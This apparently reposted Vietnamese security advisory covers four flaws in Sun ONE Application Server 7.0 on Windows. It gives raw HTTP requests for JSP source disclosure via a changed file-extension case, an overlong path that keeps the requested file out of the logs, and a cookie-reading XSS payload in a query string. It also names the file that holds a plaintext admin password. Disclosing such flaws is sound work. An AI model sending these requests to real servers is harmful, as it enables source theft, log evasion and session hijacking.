HCE-loi Sun One

Lỗi bảo mật của những server ứng dụng Sun-One

trang này đã được đọc lần

Lỗi 1: Xem được mã nguồn của JSP
Lỗi 2: Không cần đăng nhập
Lỗi 3: Cross site scripting
Lỗi 4: Sự cho phép sai ở local file và plaintext passwords

Lỗi 1: Xem được mã nguồn của JSP
Tính nguy hiểm: Cao


Ta có thể xem được mã nguồn của những trình ứng dụng JSP bằng cách thay
đổi đuôi của file trong yêu cầu HTTP. Lỗi này nguyên do là đoạn mã Unix cho
nền tảng Microsoft Windows nơi nhạy cảm của filesystem. Khi nhận được một yêu
cầu, server sẽ thực hiện việc kiểm tra để định rõ nếu yêu cầu kết thúc
ở ".jsp".
Nếu đúng như thế, bộ máy JSP sẽ xử lý nó. Mặt khác, sẽ thấy được nếu
nó có thể lấy lại tài nguyên được yêu cầu từ filesystem. Ở hệ điều hành
Unix, cái này sẽ hỏng vì "file.jsp" không mở được bằng cách hỏi "file.JSP" tuy
nhiên, ở Windows file này sẽ được hoàn trả vì filesystem hơi nhạy cảm. Ví dụ
bên dưới là request/response thông thường.
[quote]
[Original request]

GET /hello.jsp HTTP/1.0


[Original response]

HTTP/1.1 200 OK
Server: Sun-ONE-Application-Server/7.0
(more headers)

<html>
<head><title>Hello World JSP Example</title></head>
<body>
<h1>Hello World</h1>
It is Fri March 14 15:29:40 EST 2003 and is a beautiful Spring day.
</body></html>


[Request with case change]

GET /hello.JSP HTTP/1.0


[Response with case change]

HTTP/1.1 200 OK
Server: Sun-ONE-Application-Server/7.0
(more headers)

<html>
<head><title>Hello World JSP Example</title></head>
<body>
<h1>Hello World</h1>
It is <%= new java.util.Date().toString() %> and is a beautiful Spring day.
</body></html>
[/quote]


Lỗi 2: Không cần đăng nhập
Tính nguy hiểm: Trung bình


[quote]
[Request for /hello.jsp]

GET
/AAAAAAAAAAAAAA[ up to 4042 characters]/../hello.jsp HTTP/1.0


[Console message]

WARNING: HTTP4198: flex log buffer overflow- greater than 4096 characters

Server log file

[04/Mar/2003:10:52:05] WARNING ( 1304): HTTP4198: flex log buffer overflow- greater than 4096
characters


Access log file

172.16.10.47 - - [04/Mar/2003:10:52:04 -0800] "GET
/AAAAAAAAAA[ up to 4042 characters] ...


Tên file mà truy cập vào không xuất hiện trong log.


Lỗi 3: Cross site scripting
Tính nguy hiểm: Thấp


Nếu có lỗi xảy ra trong qua trình haọt động của những ứng dụng Java, nó có
thể thi hành việc tấn công cross-site scripting bởi việc đặt một nội dung có
chứa trong chuỗi query. Ví dụ:
[quote]
[Request]

GET /webapps-simple/jsp/source.jsp?<script>alert(document.cookie)</script>
HTTP/1.0


[Response snippet]

Exception Report
<b>Message: </b>Internal Server Error
<p>
<b>Exception</b>
<pre>javax.servlet.ServletException: Invalid JSP file
<script>alert(document.cookie)</script>
at
org.apache.jasper.runtime.PageContextImpl.handlePageException(PageContextImp
l.java:471)
at _jasper._jsp._source_jsp._jspService(_source_jsp.java:88)
[/quote]

Lỗi 4: Sự cho phép sai ở local file và plaintext passwords
Tính nguy hiểm: Trung bình


Khi cài đặt SunONE ở Windows 2000 thì thư mục cài đặt theo mặc định là C:\sun.

Bất kỳ file hay thư mục nào được tạo ra trong thư mục này sẽ có nguy cơ bị
khai thác. "statefile" ở C:\sun\appserver7\statefile có chứa một plaintext username và
password quản lý server. .